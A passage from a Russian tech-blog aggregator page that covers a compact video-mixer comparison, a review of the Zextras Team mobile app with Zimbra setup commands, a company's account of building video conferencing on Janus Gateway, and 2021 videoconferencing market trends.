imageИтак, идеология устройства позволяет захватывать видео сигнал с двух физических интерфейсов, один из которых поддерживает 4K-разрешения, а другой (с доп. проходным выходом) только fullHD разрешения. При этом суть поддержки камер с разрешение 4K в том, чтобы можно было сделать 4 вырезки кадров из одного потока, тем самым получив 4 различных картинки (как будто у вас 4 входных видео потока).

Плюс остается общий вид и возможность подложить заранее подготовленную картинку. Итого шесть дорожек видео контента и шесть физических клавиш для переключения этих источников.

imageВидеомикшер позволяет как транслировать потоковый контент в H.264 по сети через Ethernet, так и записывать этот контент на SD-карту, разъем которого предусмотрен на лицевой части видеомикшера.

imageОсобенностью данного микшера является возможность съемки, обработки и трансляции видео контента не только в привычном landscape режиме, но и в портретном, что популярно для съемки или просмотра со смартфонов.

Соответственно, второй вход на микшере может использоваться для захвата презентационного материала с ПК. Два микрофонных входа с дополнительным входом интерфейсом RCA и таким же выходом. И в итоге получается достаточно интересный видеомикшер, который с одной стороны может вырезать 4 сцены из одного потока, второй вход с меньшим разрешением может использоваться для презентационного контента, захватывать звук с двух микрофонов и при этом поддерживать одновременный стриминг. Все это вместе создает компактное устройство.

Заключительный микшер, который уже достаточно давно продается на рынке, но не имеет такой популярности, как предыдущие. Разработан известной японской компанией, основанной в 1946 году представила еще в конце 2016 года микшер Sony MXC-500.
Модель MXC-500
Краткое описание Микшер с возможностями работы с различными камерами, использовать как 5-и канальный аудиомикшер. Стримить, вести запись на карты SD. И все это в удобном едином корпусе.
Видео входы 4x SDI;
2x HDMI (up to 1920х1080i/p);
Видео выходы 1x SDI (PGM);
2x HDMI (PGM, multiview) (1920x1080i/p);
HDCP Не поддерживается
Аудио входы Деэмбедирование из SDI, HDMI;
2x XLR/TRS;
Аудио выходы Эмбедирование в SDI, HDMI;
2x LINE L и R;
Запись на SD-карты Присутствует
Стоимость РРЦ (конец 2020 года) 220'000 руб
Видеомикшер позволяет вести микширование сразу нескольких входящих видеосигналов (до 4-х одновременных), есть несколько входных аудио-интерфейсов для подключения 2-х микрофонов, а также дэембедировать аудио сигнал из видео потока. Присутствуют возможности наложения титров, различные схемы наложения контента (например, PinP) и небольшое количество эффектных переходов. По выходам имеются два интерфейса: мультивью и программный выход.

А также встроенная запись на внешние SD-карты, заменяющая отдельный рекордер и одновременный стриминг в H.264. И все это в одном флаконе компактный мини-микшер.

Заключение


Каждый производитель стремится успевать в ногу со временем, отвечая требованиям сегодняшнего дня. А именно реализовывать компактное устройство все в одном, с возможностью коммутирования входных источников, микрофонов простыми пользователями, а также обеспечивать потоковое вещание на большинство современных платформ для возможности увеличения своей аудитории. При этом, каждое устройство обладает хоть и похожим, но все же различными функциями и фишками. Одни разрабатывают удобный фейдер смены кадров, другие берут пользователей компактным размером, третьи за счет огромного сенсорного экран и так далее. Все эти навороты создают расширенный модельный ряд, а значит позволяют подобрать оптимальное решение под каждую задачу.
Подробнее..

Обзор мобильного приложения Team

17.03.2021 14:12:14 | Автор: admin
Ранее в нашем блоге мы рассказывали об on-premise решениях Zextras Team Pro и Zextras Drive, позволяющих создать корпоративное хранилище файлов, а также корпоративный групповой чат и систему для видеоконференций с большим количеством участников на базе Zimbra Open-Source Edition. Оба этих решения, помимо веб-клиента, можно использовать и в разработанных компанией Zextras мобильных приложениях Team и Drive, доступных для Android и iOS. В данной статье мы подробно разберем интерфейс и функциональность мобильного приложения Zextras Team.

image


Экран входа

Экран входа у обоих приложений полностью идентичен. Осуществить вход в мобильные приложения можно двумя способами. Первый ввести имя учетной записи, пароль, а также адрес сервера для входа, второй войти с помощью специального QR-кода, который можно сгенерировать в веб-клиенте Zimbra OSE.



Вход по QR-коду более безопасен, так как позволяет не сохранять на устройстве логин и пароль пользователя. Благодаря этому в случае утери устройства или даже его целенаправленного хищения, злоумышленники не смогут извлечь из него аутентификационные данные и скомпрометировать учетную запись пользователя.



Чтобы сгенерировать QR-код для входа в мобильное приложение, необходимо обновить Zextras Suite до версии не ниже 3.1.8 и развернуть расширение Zextras Auth. Делается это в командной строке при помощи следующих команд:
sudo su zimbra
zxsuite auth doDeployAuthZimlet
zmprov fc zimlet



Обращаем ваше внимание на то, что для корректной работы Zextras Auth и генерации QR-кодов требуется, чтобы в Zimbra были настроены параметры zimbraPublicServiceHostname, zimbraPublicServicePort и zimbraPublicServiceProtocol. В нашем случае эти настройки будут выглядеть следующим образом:
zmprov mcf zimbraPublicServiceHostnameexample.ru
zmprov mcf zimbraPublicServiceProtocol https
zmprov mcf zimbraPublicServicePort 443



После этого в списке зимлетов в веб-клиенте Zimbra OSE появится Zextras Auth. Нажатие на него открывает окно, на котором отображаются пароли учетной записи. Изначально в списке нет паролей, для добавления нового пароля следует нажать на кнопку Новый Пароль. В открывшемся окне можно указать название приложения, в котором будет использоваться пароль, а также его тип: текст или QR-код.



Текстовые пароли используются для подключения приложений, работающих по протоколу Exchange ActiveSync. Возможность создания отдельного пароля для EAS присутствовала и раньше в расширении Zextras Mobile, теперь же эта функциональность полностью перенесена в Zextras Auth. Преимуществом Zextras Auth является то, что данное расширение позволяет пользователю создавать сразу несколько паролей для нескольких приложений без участия администратора.



QR-коды в настоящее время могут использоваться только для подключения мобильных приложений Zextras Drive и Zextras Team. Сгенерированный QR-код сгорает после первого же входа и не может использоваться для повторного входа.

Для того, чтобы войти по QR-коду, достаточно в мобильном приложении Team или Drive нажать на кнопку SCAN QR CODE и навести камеру на экран монитора с QR-кодом.

Мобильное приложение Zextras Team

Мобильные приложения Team для iOS и Android отличаются внешне, но при этом имеют абсолютно схожую функциональность. Они позволяют пользователям Zextras Team Pro общаться друг с другом в приватных и групповых чатах, Переговорных и Каналах, а также Различия в интерфейсе обусловлены требованиями по разработке приложений для мобильных операционных систем. Пользователи Zextras Team Basic также могут использовать приложение Zextras Team, однако доступны им будут только создание и участие в приватных чатах, а также участие в мгновенных совещаниях по приглашению пользователей Zextras Team Pro.

Team Basic входит в состав лицензий Zextras Suite Basic, Zextras Suite Mobile и Zextras Suite Pro. Лицензия Team Pro для добавления групповых чатов, Переговорных, Каналов и Мгновенных совещаний приобретается отдельно и доступна только при наличии лицензииZextras Suite Pro.



Так выглядит приложение Team для пользователей Team Basic

Администратор сервера Zimbra OSE, используя консоль администратора, может ограничивать те или иные функции пользователю Zextras Team Pro. В частности, он может:

  • Включить или выключить функции Team Pro
  • Включить или выключить доступ к истории чатов
  • Включить или выключить возможность пользоватьсявидеозвонками
  • Установить режим работы автозаполнения при поиске в Zextras Team
  • Установить время (в минутах), в течение которого пользователь может удалить свое сообщение
  • Включить и выключить возможность отвечать на сообщения
  • Включить или выключить возможность пересылки сообщений
  • Установить время (в минутах), в течение которого пользователь может редактировать свое сообщение



iOS

Интерфейс приложения Zextras Team на iOS состоит из четырех разделов: Чат, Переговорная, Мгновенные совещания и Настройки.

В разделе Чат отображаются все приватные и групповые чаты, в которых участвует пользователь. В правом верхнем углу окна раздела Чат находится кнопкаСоздать, при нажатии на которую можно создать новые приватный или групповой чаты.



Сами чаты упорядочены в виде списка по времени последнего сообщения. В списке отображается последняя реплика чата. При нажатии на чат в списке, он разворачивается на полный экран. Окно чата идентично для приватных и групповых чатов. Здесь можно просмотретьисторию чата, написать новую реплику, а нажав на значок камеры в правом верхнем углу можно начать видеовстречу с собеседником или, если вы находитесь в групповом чате, собеседниками.

Долгое нажатие на реплику в чате открывает контекстное меню, в котором доступны следующие опции:

  • Редактировать сообщение (По умолчанию доступно в течение 10 минут после отправки)
  • Удалить сообщение (По умолчанию доступно в течение 10 минут после отправки)
  • Ответить
  • Переслать
  • Копировать текст сообщения
  • Информация



Нажатие на значок скрепки позволяет прикрепить к сообщению файл или фотографию. Пользователю доступны 4 опции:

  • Сделать фото или видео с помощью камеры смартфона
  • Выбрать файл из галереи устройства
  • Поделиться документом из iCloud Drive
  • Поделиться документом из Zextras Drive


Поддерживаемые форматы файлов будут отображаться в виде предпросмотра их содержимого.



В разделе Переговорная отображаются все Переговорные и Каналы, в которых участвует пользователь. При нажатии на Переговорную или Канал из списка открывается окно чата, которое дублирует функциональность окна чата во вкладке Чат, за исключением возможности отправки файлов.



При нажатии на название Переговорной или канала в верхней части окна открывается информация о нем. Администраторы Переговорной или Канала могут управлять списком его участников, а также изменять их тему, название и иконку.



В разделе Мгновенные совещания содержимое появляется только после того как пользователь присоединяется к одному или более мгновенных совещаний. В этом разделе доступен просмотр чата, который идет во время Мгновенного совещания. После завершения совещания чат из этого раздела исчезает. В окне чата можно писать сообщения и прикреплять файлы.





В разделе Настройки доступны следующие разделы:

  • Настройка профиля Позволяет установить собственную аватарку и изменить статус. Также позволяет просмотреть свое имя и открытые администратором возможности
  • Свяжитесь с нами Открывает форму обратной связи для отправки сообщения разработчикам приложения
  • О нас Открывает соглашение конечного пользователя
  • Лицензии Открывает список лицензий программных продуктов, использовавшихся при создании приложения
  • Тема Позволяет переключаться между светлой и темной темой
  • Встреча Открывает настройки видеовызова, где можно задать настройки, которые будут применяться автоматически в момент начала видеозвонка
  • Выход Выход из учетной записи
  • Версия Отображает текущую версию приложения.

Android

В нижней части приложения для Android находятся всего три раздела: Чаты, Переговорные и Мгновенные совещания. Переключаться между ними можно с помощью свайпов влево и вправо. Раздел Настройки доступен при нажатии кнопки Меню в левом верхнем углу окна приложения.



Окно раздела Чаты также представляет из себя список приватных и групповых чатов, выстроенных по времени отправки последнего сообщения. При нажатии на чат, он разворачивается на полный экран.Окно чата идентично для приватных и групповых чатов. Здесь можно просмотретьисторию чата, написать новую реплику, а нажав на значок камеры в правом верхнем углу можно начать видеовстречу с участниками беседы. Нажатие на значок или название чата позволяет просмотреть информацию о собеседниках и просмотреть список файлов, которые были отправлены в рамках данного чата.



Нажатие на значок скрепки позволяет отправить в чат файл или фотографию. Доступны 4 варианта:

  • Сделать фото или видео с помощью камеры смартфона
  • Выбрать файл из галереи устройства
  • Выбрать документ на файловом хранилище устройства
  • Поделиться документом из Zextras Drive

Поддерживаемые форматы файлов будут отображаться в виде предпросмотра их содержимого.



В разделе Переговорная отображаются все Переговорные и Каналы, в которых участвует пользователь. В окне этого раздела доступен только список Переговорных и Каналов. Создавать новые прямо в мобильном приложении нельзя. При нажатии на Переговорную или Канал из списка открывается окно чата, которое дублирует функциональность окна чата во вкладке Чат, за исключением возможности отправки файлов.



В разделе Мгновенные совещания содержимое появляется только после того как пользователь присоединяется к одному или более мгновенных совещаний. В этом разделе доступен просмотр чата, который идет во время Мгновенного совещания. После завершения совещания чат из этого раздела исчезает. В окне чата можно писать сообщения и прикреплять файлы.



Боковое меню с настройками включает в себя следующие разделы:

  • Настройка профиля Позволяет установить собственную аватарку и изменить статус. Также позволяет просмотреть версию приложения, свое имя и открытые администратором возможности
  • Звуки и уведомления Позволяет настроить степень важности и звук различных уведомлений. Например, новое сообщение в приватном чате может сопровождаться звуком всплывающим баннером, а уведомления для новых сообщений в групповом чате можно полностью отключить.
  • Настройки темы Позволяет переключаться между светлой и темной темой, а также включать специальную тему, позволяющую сберечь заряд батареи.
  • Настройки встречи Открывает настройки видеовызова, где можно задать настройки, которые будут применяться автоматически в момент начала видеозвонка
  • Свяжитесь с нами -Открывает форму обратной связи для отправки сообщения разработчикам приложения
  • Лицензии -Открываетсоглашение конечного пользователя
  • Сторонние лицензии Открывает список лицензий программных продуктов, использовавшихся при создании приложения
  • Выход Выход из учетной записи.



На сегодняшний день мобильное приложение Zextras Team практически полностью дублирует функциональность Zextras Team Pro в веб-клиенте и позволяет полноценно общаться с коллегами с помощью любого мобильного устройства. Создание новых каналов и переговорных, а также создание новых Мгновенных совещаний доступно пользователям Zextras Team Pro в веб-клиенте Zimbra OSE.

По всем вопросам, связанными c Zextras Suite Pro и Team Pro вы можете обратиться к Представителю компании Zextras Technology Екатерине Триандафилиди по электронной почте ekaterina.triandafilidi@zextras.com
Подробнее..

Зачем мы создали свою собственную систему видеосвязи с блэкджеком и фичами

20.01.2021 18:14:16 | Автор: admin

2020 оказался годом удаленки. В марте мы всей командой были вынуждены перейти на полностью дистанционный формат работы и все процессы пришлось настраивать заново.

Отдельной болью для нас стали видеозвонки. И началось: Ой, а давайте в Скайпе, Дискорде, Телеграме, Зуме. А потом то девайсы программное обеспечение криво поддерживают, то технические сбои, то аккаунты вне доступа, то обновление софта и еще вагон проблем. Уходила куча времени, чтобы просто связаться и провести совещание.

В общем, уже через месяц подобных экзекуций мы психанули и стали разрабатывать свою собственную систему видеосвязи на базе CRM Мегаплан. Сразу многофункциональную, чтобы запустить ее и для клиентов. С какими трудностями столкнулись, как решали задачу и что из этого получилось читайте в статье.

Чем нас не устроил Zoom и другие приложения

Буквально за несколько месяцев после начала карантина количество пользователей Zoom увеличилось в 30 раз. В декабре 2019 года ежедневно сервисом пользовались 10 млн людей, а в апреле 2020 уже 300 млн.

Поначалу мы тоже использовали Zoom для общих видеоконференций. Были небольшие проблемы со стабильностью сервиса сервера не выдерживали нагрузок и иногда звонки жутко тормозили неприятно, но ничего критичного. Во всяком случае, мы так думали.

А потом мы узнали о массивной утечке данных. В апреле 2020 хакеры взломали базы данных Zoom и в сеть утекли данные свыше 500 000 аккаунтов. Логины, пароли, email, URL личных чатов, коды администраторов для управления конференциями.

Более того, уязвимости Zoom можно было использовать для получения удаленного доступа к компьютеру и защищенным файлам. Топовый сервис для видеоконференций оказался не просто ненадежным, а даже опасным. Вопрос безопасности встал очень остро. С зумбомбингом мы хоть не встречались, но были наслышаны и о нем.

Насчет удобства использования сторонних сервисов, все также было не очень гладко. При обсуждении рабочих вопросов один на один или малыми группами чаще всего использовали Skype или Facebook Messenger. Для встреч по отделам и общих конференций Zoom. И самым проблемным оказалось отсутствие единой базы записей видеозвонков. Попытка пересмотреть обсуждение какого-нибудь вопроса превращалась в квест.

Со стабильностью все было тоже не очень гладко. В марте у нас была ситуация, когда из-за обновления софта три участника важного видеозвонка просто не смогли подключиться. Танцы с бубном не помогали фактического контроля над внешними зарубежными приложениями нет никакого и нет никакой возможности понять, что не так. В результате через полчаса пришлось переносить встречу на другой день. Время и нервы потрачены, результат нулевой.

Да и в целом организационные моменты подталкивали на разработку своего софта для видеозвонков. С той лишь разницей, что мы видели его не как отдельное решение, а встроенный в нашу CRM видеочат для обсуждения рабочих задач и проектов, уже заведенных в систему. Тем более, что идеи уже были. Нам нужно было добиться стабильной работы на всех ОС и мобильных платформах.

Получить доступ к API и сделать существующие решения удобнее конкретно для нас тоже не вариант. Разработчики либо вообще не давали доступ к API, либо это стоило космические деньги.

В общем, в апреле 2020 года мы серьезно нацелились на разработку многофункциональной платформы видеосвязи, которая покроет не только наши хотелки, но и решит проблемы наших клиентов.

Разработка как прогулка по полю с граблями

Впервые идея создать собственную платформу видеосвязи появилась у нас в 2015 году.

Мы даже выделили немного времени и разработали тестовую версию сервиса видеосвязи на Flash. Прописали буквально только базовый функционал, так что даже до демо-версии она не дотягивала.

В результате аналитики решили, что допиливать софт до релиза нецелесообразно. В разработку нужно было огромное количество денег, а рентабельность идеи была очень сомнительной. Мы не собирались превращаться в конкурента Skype, а в качестве дополнительной функции CRM вложения в видеосвязь были неоправданно высокими.

Тем более, что тогда еще не было адекватных технологий, с помощью которых можно было все это организовать. Первоначальный вариант на Flash нам не понравился его было невозможно масштабировать, было много вопросов с технической точки зрения, да еще за сервер нужно было платить неплохие деньги.

И хорошо, что мы тогда не стали искать выходы. Было бы печально вложить кучу денег во второстепенную функцию, а через 5 лет узнать, что все нужно делать заново, потому что Flash отключают.

***

Весной 2020 года мы вернулись к идее собственной платформы видеосвязи. Потому что проблемы с организацией рабочего процесса, с которым столкнулись мы не были уникальными. У многих наших клиентов были такие же, а у нас были технические и профессиональные возможности их решить.

Разработка первоначальной версии велась буквально на коленке. Сначала выбрали OpenVidu, который нас максимально устраивал и был доступен в плане лицензии. А затем буквально в течение нескольких недель собрали MVP и попытались интегрировать его в CRM Мегаплана.

Опенсоурсная версия получилась рабочей, но у нее было несколько серьезных проблем:

  1. Продукт получился очень требователен к мощности сервера. Если для внутреннего использования это еще не критично, то для релиза нужны были отдельные серверы для видеосвязи. Коммерческая лицензия позволяла сделать продукт масштабируемым, но тогда все упиралось в стоимость серверов оплата была не за использование фактических возможностей, а за время аренды серверов. Даже если сервер простаивает, за него нужно платить.

  2. Вылез целый ряд багов и проблем, решение которых мы в процессе первичной разработки не нашли. Среди них:

    a. Отсутствие записи трансляции. Наши специалисты так и не смогли придумать, как реализовать запись без слишком больших переделок или без использования сторонних утилит;

    b. У технологии не было мультиплексирования, поэтому использование видеосвязи слишко быстро сажало аккумуляторы смартфонов. Для ее решения нужны были специализированные хардварные решения, к которым мы были не готовы.

    c. В мобильной версии в целом было много багов, для фикса которых нужно было много времени. Самым проблемным оказалось то, что приложение во время звонка вылезает на передний план и свернуть его никак нельзя. Работать со смартфоном во время конференции становилось попросту невозможно.

  3. Мы были привязаны к технической поддержке с третьей стороны. Работа даже над простыми багами могла затягиваться на неопределенно долгое время. Кроме того, у нас не было гарантий, что данные видеосвязи и пользователей не утекут на сторону. Мы работаем с бизнесом, поэтому вопрос безопасности для нас был ключевым.

  4. Стоимость использования OpenVidu считается за одно серверное ядро в минуту. Для небольших решений она приемлема, но это крайне затрудняет масштабирование сервиса все упирается в деньги, много денег.

Количество минусов перекрывало все перспективы использования технологии. Поэтому мы решили от нее отказаться.

Janus Gateway: именно то, что нужно

Для передачи видеоданных мы используем стандартный протокол WebRTC. Стабильная платформа для видеосвязи, на которой можно реализовать все хотели и свистелки, которые нам нужны.

Но обычного p2p соединения нам недостаточно, ведь нужно было реализовать возможность записи трансляции на сервер. Поэтому решили использовать ретранслятор Janus Gateway.

В целом выбирали между тремя платформами: OpenVidu, которую оставили как контрольный образец, Jitsi и Janus. В результате чтения аналитики выяснили, что OpenVidu сильно проседает по качеству картинки трансляции (как будто и так вопросов было мало), а у Jitsi во время нагрузки качество плавает. Не то, чтобы мы планировали делать конференции из 200-300 пользователей, но стабильность работы видеосвязи для нас ключевой момент.

Janus же наиболее стабилен. Он выдает стабильный битрейт, рационально используя ресурсы процессора. В целом Jitsi и Janus показывают хорошие результаты, но у Jitsi есть порог производительности, выше которого он просто падает. Как поведет себя система с кучей дополнительных фишек и на полной нагрузке, было неясно.

У Janus есть куча полезных фич, которые не реализованы или платные в OpenVidu. К примеру, контроль качества связи и автоматическое выставление битрейта в зависимости от него. Или же поддержка кодеков VP9 и режима симулькаста.

Janus имеет ничтожное влияние на процессор и память сервера. Всё упирается только в пропускную способность сети. Поэтому можно брать не самые мощные сервера, а много маленьких и пару больших для декодирования и склейки записанных видеозвонков. Мы не стали прибегать к сторонним решениям, вроде Janus cloud, где узким местом и точкой входа всё равно является janus-proxy, а сделали балансировку на уровне продукта.

Михаил Пирогов, руководитель отдела эксплуатации и администрирования Мегаплана

С Janus все также получилось не слишком гладко. Для реализации WebRTC используется библиотека React Native WebRTC. У нас нет разработчиков, которые хорошо знают React Native, поэтому чтобы устранить проблемы совместимости протокола с софтом сервера, ушло довольно много времени.

Были сложности и со сборкой. Компилятор Metro bundler хорошо работает в веб-версии, но не подтягивает дополнительные библиотеки в мобильной, из-за чего мобильная версия была нестабильной и падала.

Для мобильной версии также пришлось полностью перерисовывать интерфейс. Стандартный вариант не подходил для маленьких экранов когда количество участников конференции было больше пяти, видео просто не помещались на экран, что вело за собой ошибки отображения трансляции в целом.

Пришлось сильно заморочиться с решением проблемы, разделив потоки на отдельные экраны и оптимизировав рендер и отрисовку видео участников в реальном времени. Кому интересно, можем дать ссылку на код.

Вообще с реализацией мобильных версий на iOS и Android было неожиданно много проблем. Разница на платформах между управлением динамиками и микрофоном, разные принципы переключения на громкую связь и наушники. Пришлось создавать универсальный код, который одинаково работал бы на обеих ОС. Им тоже можем поделиться, если что.

Самой главной головной болью для нас стала проблема пятого человека. Пять человек стабильно могли участвовать в конференции, но как только присоединялся шестой одного выбрасывало из трансляции. С ней тоже удалось справиться.

Бета-версия и что дальше

Альфа-версия видеосвязи нас удовлетворила, поэтому мы выкатили бету. И практически сразу же получили ряд хотелок и рекомендаций непосредственно от клиентов.

Сохранять записи звонков. Эту фичу мы планировали, но она пока в стадии реализации и тестирования.

Нужно предоставить возможность скачать запись только участнику с наибольшими правами в конференции, чтобы она не ушла на сторону. Проигрывание записи через встроенный плеер тоже будет актуальным, чтобы клиент не использовал сторонний софт.

Скорее всего, придется ограничить время существования записи. Ведь в противном случае нам придется закупать отдельные серверы для хранения видеоконтента. Но доступ к записи на протяжении 24 часов убирает проблему через сутки запись трансляции автоматически удаляется с сервера.

Добавить вебинарную комнату самый популярный запрос. Чтобы можно было, к примеру, проводить отчетные мероприятия. То есть, клиенты хотят не просто совершать звонки, а получить универсальный инструмент для организации рабочего процесса. Им его не хватает.

Правда, с вебинарной комнатой у нас немного затык. Нужно добавить инструмент работы со слайдами без демонстрации экрана и вайтборд для рисования маркерами.

Если у вас есть идеи, как это сделать в рамках Janus с минимальным количеством вытекающих проблем с радостью послушаем.

Плюс клиенты просят добавить другие мелкие фичи, которые они увидели в сторонних проектах. Вроде размытия фона, добавления фильтров или склейку. Это не в приоритете, но в дальнейшем мы собираемся реализовать и эти фичи.

В целом разработка видеосвязи получилась неожиданной. Из инструмента, предназначенного для внутреннего использования, она стала частью нашей CRM и уже крепко вошла в инфраструктуру сервиса.

Да, еще остается целая куча проблем с совместимостью, но результат уже рабочий и наши клиенты им активно пользуются. Если будет интересно, мы запустим серию постов про конкретные проблемы с разработкой видеосвязи и путями их решения. Пишите в комменты.

Подробнее..

Что влияет на развитие отрасли видео-конференц-связи в 2021 году?

23.03.2021 16:07:11 | Автор: admin
2020 год принес видео-конференц-связи лидирующие позиции среди средств бизнес-коммуникаций. Видеоконференция стала основным а для многих единственным инструментом внешних и внутренних коммуникаций для компаний всех масштабов, от индивидуальных предпринимателей до мировых гигантов.

Пандемия помогла отрасли значительно расширить долю на рынке коммуникаций и на порядок повысить свою популярность среди пользователей. Важно отметить, что 2020 год сумел изменить мнение пользователей о ВКС, как о технологии, требующей большого количества ресурсов, сложных устройств и длительного обучения.

image

В 2021 году след пандемии будет по-прежнему оказывать большое влияние:

  • на разработку нового оборудования для ВКС на всех уровнях (от домашних до профессиональных устройств);
  • на изменение концепции контента для цифровых вывесок;
  • на создание новых инструментов визуализации виртуальных мероприятий;
  • даже на изменения в дизайне одежды (сегодня модельеры размещают логотипы своих компаний на воротниках рубашек, чтобы увеличить узнаваемость брендов).

Спрос на ВКС-решения останется высоким, что заставляет производителей оперативно разрабатывать и выводить на рынок больше продуктов, учитывающих различные потребности пользователей.

Часть 1. Эволюция структуры бизнес-процессов


Снижение доступности физических переговорных и конференц-залов


Переход к дистанционному взаимодействию ощутимо снизил количество личных встреч. Кроме того, развитие технологий ВКС и снижение стоимости ВКС-решений позволяют вести бизнес практически из любой точки мира и уменьшают потребность в организации большого количества переговорных.

Сегодня многие компании пересматривают свой подход к бизнес-инфраструктуре, ориентируясь на виртуальные сервисы коммуникаций. Бизнес получил возможность снизить расходы за счет уменьшения количества офисных помещений, смены их специализации, а также сокращения количества командировок.

Компании, способные работать с клиентами онлайн, готовы не только переводить существенную часть сотрудников в дистанционный режим, но и менять прописку, меняя локацию на более выгодную с точки зрения стоимости аренды и объема других расходов. Этот процесс уже наблюдается в США, где ИТ-компании переносят штаб-квартиры из Кремниевой долины во Флориду или Техас.

Согласно исследованию Nemertes, до пандемии только треть конференц-залов и менее половины настольных компьютеров могли работать в режиме видеоконференции. Поскольку в ближайшем будущем состав участников конференции останется смешанным (т. е., будет включать в себя и присутствующих в офисе, и дистанционных сотрудников) классические переговорные и конференц-залы будут переоборудованы:

  • постоянная потребность бизнеса в видео-конференц-связи повлечет за собой растущий интерес к различным решениям/устройствам для ВКС;
  • возрастет востребованность разного рода BYOD-решений для работы вне офиса или участия в конференции с рабочих мест;
  • в связи со снижением числа очных участников встреч в офисе большую востребованность получат переговорные комнаты небольших размеров (в т. ч., рассчитанные на 1-3 спикеров).

Ярким примером быстрой адаптации к новым трендам и потребностям пользователей является компания Yealink, производитель ВКС-решений из Китая. Благодаря широкому ассортименту продукции ВКС, представленному компанией на мировом рынке, Yealink готов реализовать любые сценарии от персональных коммуникационных инструментов до решений для больших переговорных и конференц-залов. Устройства этого вендора поддерживают различные стандарты и платформы: классические решения ВКС (H.323|SIP), специализированные видеотерминалы для Microsoft Teams Room и Zoom Room, персональные BYOD-решения.

Защита данных


В условиях беспрецедентной нагрузки на интернет, а также широкого распространения ВКС в отраслях, требующих особого подхода к конфиденциальности (здравоохранение или право), должна расти и степень защиты данных при передаче. Вендоры будут уделять все больше внимания аналитическим функциям, разработке систем многоуровневого шифрования, многофакторной аутентификации, инструментам для сканирования уязвимостей и обнаружения вторжений.

Партнерские отношения между поставщиками оборудования и программного обеспечения будут развиваться и углубляться, поскольку владельцы бизнеса предпочитают реализовывать рабочий процесс в едином интерфейсе, а не переключаться между системами.

Эта тенденция интересна даже производителям традиционных VoIP-решений, которые стараются включить ВКС в стандартный набор функций (например, в новой линейке IP-АТС Yeastar серии P) либо продолжают развивать собственные сервисы веб-митингов (как это делает компания 3CX).

Будучи профессиональной коммуникационной платформой для бизнеса и колл-центров, 3CX предлагает своим пользователям и функционал для онлайн-встреч. Если до пандемии этот сервис можно было считать дополнительным, теперь веб-митинги стали одним из главных преимуществ платформы. Решение 3СХ включает в себя как бесплатные (до 25 участников), так и достаточно недорогие пакеты (263 евро в год до 100 участников; 319 евро в год до 250 участников).

Кроме того, 3CX не ограничивает длительность веб-митингов, в отличие от бесплатной версии Zoom, которая заставила малый бизнес, стартапы и, например, частных преподавателей сократить встречи до 40 минут. Не стоит забывать и об основных задачах платформы 3CX в качестве профессиональной облачной IP-АТС: в дополнение к сервису веб-митингов пользователь получает резервную офисную IP-АТС на 4 одновременных вызова.

Подобные бесплатные или бюджетные решения составляют явную конкуренцию лидерам отрасли. Пусть их функционал в чем-то уступает большим игрокам, но наличие большого количества исправно работающих и востребованных инструментов (управление правами, запись, чат, демонстрация контента и экрана, режим белой доски, опросы и пр.) значительно уменьшает эти недостатки.

Тем не менее, несмотря на некоторую дезорганизацию, одновременное использование решений нескольких провайдеров позволяет более мелким игрокам отрасли заявить о себе. В области решений для дистанционной работы появилось много перспективных стартапов (Bluescape, Eloops, Figma, Slab, Tandem), предлагающих решения для совместной работы, создания и обмена контентом, отслеживания статуса проектов и обучения сотрудников.

Искусственный интеллект и машинное обучение


Алгоритмы искусственного интеллекта и машинного обучения способны эффективно выявлять фоновый шум и фильтровать его. Таким образом, программные решения смогут свести к минимуму любые помехи, обеспечивая более продуктивную коммуникацию.

image

Благодаря развитию таких функций, как обнаружение объектов и распознавание лиц, искусственный интеллект может повысить качество видеоконференций, например, за счет, коррекции освещенности участников. Интеллектуальное управление камерой и автокадрирование позволяет сделать выступление каждого спикера доступным для остальных участников вне зависимости от их количества и местоположения.

Серьезные достижения в области интеллектуального анализа данных позволяют отслеживать даже настроение участников и отправлять организатору обратную связь, что, при правильном использовании, может значительно повысить вовлеченность сотрудников в рабочий процесс.

Повышение качества видео и производительности аудиоканалов


Географическое распределение персонала требует от ВКС-решений эффективно и реалистично воспроизводить личное взаимодействие между сотрудниками. Новейшие технологии позволяют значительно улучшить качество видео при наличии дисплеев высокой четкости и поддержки формата 4K. Однако исследования показали, что при снижении качества звука люди предпочитают выключать камеры и продолжать общение только в голосовом режиме. Это доказывает необходимость сохранения высокой производительности аудиоканалов.

Пакетные предложения


При переводе сотрудников в режим дистанционной работы многие компании сталкиваются с отсутствием отработанных шаблонов и алгоритмов по организации рабочего места. Это заставляет производителей заранее продумывать состав решений, создавая BYOD-комплекты или включая в набор сопутствующие товары, например, маршрутизатор, который настраивается техническими специалистами в соответствии со стандартами безопасности компании. Кроме того, такой подход позволяет решить проблему совместимости аппаратных компонентов и технической поддержки решения.

image

Часть 2. Эволюция пользовательского опыта


Мобильность


Сегодня сотрудникам нужны инструменты для работы из разных локаций, которые зачастую сильно отличаются по своим техническим характеристикам (например, по скорости передачи данных). При этом возможность оставаться на связи должна сохраняться даже при перемещении из одной точки в другую. Решить эту проблему помогает использование облачных и гибридных решений с высокой степенью отказоустойчивости и защиты данных от потерь, что позволяет развиваться не только поставщикам ВКС-решений, но и компаниям, предоставляющих хостинг.

image

Повышение требований к возможностям пользовательских устройств


ПК, ноутбуки, гарнитуры и камеры пользовательского уровня, как правило, не предназначены для использования в качестве основного средства общения, в особенности, в условиях, когда сотрудник вынужден делить рабочее пространство с другими членами семьи. Требования к техническим характеристикам терминальных устройств значительно возрастут в 2021 году, приближая домашние устройства к профессиональному уровню.

Кроме того, появление мощных, доступных и надежных смартфонов привлекло внимание всего мира к более широкому использованию мобильных устройств в бизнес-среде. По данным некоторых поставщиков услуг ВКС, пользователи приложений для мобильной конференцсвязи составляют 60% их клиентской базы, что позволяет считать дальнейшее развитие смарт-устройств мощным стимулом для роста отрасли.

Возможности для совместной работы


При средней продолжительности деловой встречи около часа, неэффективные встречи обходятся компании довольно дорого. Плохая организация может привести не только к потере времени и замедлению прогресса проекта, но и к ослаблению отношений между клиентом и поставщиком.

Сегодня одним из ключевых факторов, определяющих качество любой коммуникационной системы, является наличие дополнительных возможностей для совместной работы: совместное использование экрана, виртуальные доски, перевод в реальном времени, базовая обработка видео, совместное использование контента и пр.

Упрощение интерфейса и пользовательский опыт


Производители ВКС-решений ощущают сильное давление со стороны разработчиков различных видеочатов, которые в 2020 году приобрели большую популярность даже в деловой среде (например, WhatsApp, FaceTime, Facebook Messenger и другие). Это во многом связано с простотой использования подобных сервисов, позволяющих подключиться к сеансу видео-конференц-связи одним нажатием кнопки. Акцент на пользовательском опыте становится значимым и для профессионального сегмента.

